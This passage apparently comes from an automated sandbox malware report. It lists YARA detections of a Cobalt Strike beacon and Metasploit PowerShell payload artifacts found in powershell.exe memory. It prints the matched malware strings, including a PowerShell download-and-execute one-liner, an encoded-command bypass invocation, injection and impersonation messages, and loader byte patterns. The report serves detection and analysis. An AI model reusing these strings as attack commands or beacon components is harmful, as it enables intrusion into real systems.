Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xf9a7c:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xf9aea:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x318e6f:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x318edd:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xca778:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xf90c0:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3184b3:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Process Memory Space: powershell.exe PID: 1900	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0xcf96d:$loader_export: ReflectiveLoader 0xcf98c:$loader_export: ReflectiveLoader 0xfe2b5:$loader_export: ReflectiveLoader 0xfe2d4:$loader_export: ReflectiveLoader 0x31d6a8:$loader_export: ReflectiveLoader 0x31d6c7:$loader_export: ReflectiveLoader 0xca65f:$exportname: beacon.dll 0xcb4a3:$exportname: beacon.dll 0xf8fa7:$exportname: beacon.dll 0xf9deb:$exportname: beacon.dll 0x31839a:$exportname: beacon.dll 0x3191de:$exportname: beacon.dll
Process Memory Space: powershell.exe PID: 1900	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth	0x9029d:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x19a7ac:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x907c2:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x19acd1:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x908af:$s5: = [System.Convert]::FromBase64String( 0x19adbe:$s5: = [System.Convert]::FromBase64String( 0x90518:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x19aa27:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x9070b:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0x19ac1a:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
Process Memory Space: powershell.exe PID: 1900	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0xcb1ec:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0xf9b34:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318f27:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0xcafc6:$x2: %d is an x86 process (can't inject x64 content) 0xf990e:$x2: %d is an x86 process (can't inject x64 content) 0x318d01:$x2: %d is an x86 process (can't inject x64 content) 0xcb1a2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xf9aea:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x318edd:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xcb286:$x4: Failed to impersonate token from %d (%u) 0xf9bce:$x4: Failed to impersonate token from %d (%u) 0x318fc1:$x4: Failed to impersonate token from %d (%u) 0xcb2dd:$x5: Failed to impersonate logged on user %d (%u) 0xf9c25:$x5: Failed to impersonate logged on user %d (%u) 0x319018:$x5: Failed to impersonate logged on user %d (%u) 0xca69d:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xf8fe5:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3183d8:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Process Memory Space: powershell.exe PID: 1900	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x908c1:$b2: ::FromBase64String( 0x19add0:$b2: ::FromBase64String( 0x1e375:$s1: -join 0x21f54:$s1: -join 0x22607:$s1: -join 0x241a0:$s1: -join 0x2660b:$s1: -join 0x26e32:$s1: -join 0x276c2:$s1: -join 0x27dfd:$s1: -join 0x27e2f:$s1: -join 0x27e77:$s1: -join 0x27e96:$s1: -join 0x2870d:$s1: -join 0x28889:$s1: -join 0x28901:$s1: -join 0x28994:$s1: -join 0x28c0c:$s1: -join 0x2ae60:$s1: -join 0x399b8:$s1: -join 0x4f2b7:$s1: -join
Click to see the 44 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.powershell.exe.22ef9b10000.0.raw.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22efa0b0000.1.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.raw.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22efa0b0000.1.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22efa0b0000.1.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
0.2.powershell.exe.22efa0b0000.1.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.powershell.exe.22efa0b0000.1.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.powershell.exe.22efa0b0000.1.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
0.2.powershell.exe.22efa0b0000.1.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
0.2.powershell.exe.22efa0b0000.1.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
0.2.powershell.exe.22efa0b0000.1.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
0.2.powershell.exe.22ef9b10000.0.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
0.2.powershell.exe.22ef9b10000.0.raw.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.powershell.exe.22ef9b10000.0.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.powershell.exe.22ef9b10000.0.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
0.2.powershell.exe.22ef9b10000.0.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
0.2.powershell.exe.22ef9b10000.0.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
0.2.powershell.exe.22ef9b10000.0.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
0.2.powershell.exe.22efa0b0000.1.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.powershell.exe.22efa0b0000.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
0.2.powershell.exe.22efa0b0000.1.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
0.2.powershell.exe.22ef9b10000.0.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.powershell.exe.22ef9b10000.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
0.2.powershell.exe.22ef9b10000.0.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
0.2.powershell.exe.22efa0b0000.1.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22efa0b0000.1.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22efa0b0000.1.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x329a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33180:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x334b2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33444:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x334b2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32a7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32ac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x334fc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d6a:$a11: Could not open service control manager on %s: %d 0x3329c:$a12: %d is an x64 process (can't inject x86 content) 0x332cc:$a13: %d is an x86 process (can't inject x64 content) 0x335ed:$a14: Failed to impersonate logged on user %d (%u) 0x33255:$a15: could not create remote thread in %d: %d 0x32b38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33203:$a17: could not write to process memory: %d 0x32d9b:$a18: Could not create service %s on %s: %d 0x32e24:$a19: Could not delete service %s on %s: %d 0x32c89:$a20: Could not open process token: %d (%u)
0.2.powershell.exe.22efa0b0000.1.raw.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1d93c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.powershell.exe.22efa0b0000.1.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1956a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1a89b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.powershell.exe.22efa0b0000.1.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x334b2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x334fc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x3: %d is an x86 process (can't inject x64 content) 0x32c89:$s1: Could not open process token: %d (%u) 0x329a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s4: Could not connect to pipe (%s): %d
0.2.powershell.exe.22efa0b0000.1.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x41bf1:$loader_export: ReflectiveLoader 0x32960:$exportname: beacon.dll
0.2.powershell.exe.22efa0b0000.1.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3329c:$x2: %d is an x64 process (can't inject x86 content) 0x335ed:$x3: Failed to impersonate logged on user %d (%u) 0x334fc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x334b2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32c0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x33203:$s4: could not write to process memory: %d 0x329a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s6: Could not connect to pipe (%s): %d
0.2.powershell.exe.22efa0b0000.1.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x33970:$str1: %s (admin) 0x32960:$str2: beacon.dll
0.2.powershell.exe.22efa0b0000.1.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x334fc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x2: %d is an x86 process (can't inject x64 content) 0x334b2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33596:$x4: Failed to impersonate token from %d (%u) 0x335ed:$x5: Failed to impersonate logged on user %d (%u) 0x329a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.powershell.exe.22efa0b0000.1.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3348a:$s1: %%IMPORT%% 0x32987:$s2: www6.%x%x.%s 0x3297b:$s3: cdn.%x%x.%s 0x32c03:$s4: api.%x%x.%s 0x33970:$s5: %s (admin) 0x32c72:$s6: could not spawn %s: %d 0x3352e:$s7: Could not kill %d: %d 0x32d47:$s8: Could not connect to pipe (%s): %d 0x32994:$s9: %s.1%x.%x%x.%s 0x329a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32ac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32b38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32ba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32bc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x32bdd:$s9: %s.1%08x%08x.%x%x.%s 0x32bf2:$s9: %s.1%08x.%x%x.%s
0.2.powershell.exe.22ef9b10000.0.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.powershell.exe.22ef9b10000.0.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x303a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3041b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3047e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x304c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30502:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x30538:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30160:$a39: %s as %s\%s: %d 0x30394:$a40: %s.1%x.%x%x.%s 0x3e7e2:$a41: beacon.x64.dll 0x30387:$a43: www6.%x%x.%s 0x3037b:$a44: cdn.%x%x.%s 0x30360:$a47: beacon.dll 0x302d8:$a48: %s%s: %s 0x3018c:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x301b8:$a50: %02d/%02d/%02d %02d:%02d:%02d
0.2.powershell.exe.22ef9b10000.0.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1c13c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
